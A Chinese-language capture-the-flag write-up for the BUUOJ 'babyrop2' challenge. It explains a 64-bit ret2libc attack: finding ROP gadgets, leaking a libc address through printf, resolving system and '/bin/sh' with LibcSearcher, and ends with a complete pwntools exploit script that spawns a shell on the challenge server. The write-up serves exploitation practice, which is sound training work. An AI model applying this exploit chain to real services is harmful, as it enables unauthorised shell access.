题目附件
步骤:
例行检查,64位,开启了nx保护
运行了一下程序,了解大概的执行情况
64位ida载入,shift+f12检索程序里的字符串,没有发现可以直接利用的,从main函数开始看程序
一、 泄露libc基址
由于是64位程序,传参的时候需要用到寄存器
printf函数的原型int printf( const char* format , [argument] ... );
举个例子–>print(’%s’,‘hello world’)
大概就是这样的用法,这边有两个参数要设置,所以我们要找到设置rdi,rsi寄存器的指令
ROPgadget --binary babyrop2 |grep "pop rdi"
rdi_addr=0x400733
ROPgadget --binary babyrop2 |grep "pop rsi"
没有直接设置rsi寄存器的指令,这边后面还跟着一个r15,无所谓了,不用r15,给他随便设置一下就好了,我这边设置的0
pop_rsi=0x400731
我们首先要设置第一个参数,就是带有类似于%s这种格式的字符串,我这边是使用的程序里自带的语句
format_str=0x400770
一开始是打算输出printf的got表地址的,
payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(printf_got)+p64(0)+p64(printf_plt)+p64(main_addr)
但是在调试的时候发现没法使用,就换成了read函数的got表地址了
payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_addr)
解释一下这句payload的意思
接收输出的read函数地址
我平常是这样写的,但是这题这样写得到的read函数地址不对
read_addr=u64(p.recvuntil('\n')[:-1].ljust(8, '\x00'))
看别人的wp都是这样写的
read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
问其他师傅是这样给我解释的:
接收地址的你看看基本上都是7个字节的,7f开头,补全8个字节
奇怪的知识又增加了
在得到read函数地址后,就可以得到libc版本和这个程序的偏移量了
libc = LibcSearcher('read', read_addr) #利用libcsearcher库去查找匹配的libc版本
libc_base = read_addr - libc.dump('read') #计算程序里的偏移量
二、计算程序里system和/bin/sh的地址
sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
三、覆盖返回地址位system(‘/bin/sh ’)
payload = 'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
完整EXP:
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#p = process('./babyrop2')
p = remote('node3.buuoj.cn',28485)
elf = ELF('babyrop2')
pop_rdi = 0x0000000000400733
pop_rsi_r15 = 0x0000000000400731
format_str = 0x0000000000400770
ret_addr = 0x0000000000400734
printf_plt = elf.plt['printf']
read_got = elf.got['read']
main_plt = elf.sym['main']
payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_plt)
p.recvuntil("name? ")
p.sendline(payload)
read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print hex(read_addr)
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = 'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
p.sendline(payload)
p.interactive()
得到shell后利用find -name ”flag“
去找到flag文件的位置
最后读出flag
手机扫一扫
移动阅读更方便
你可能感兴趣的文章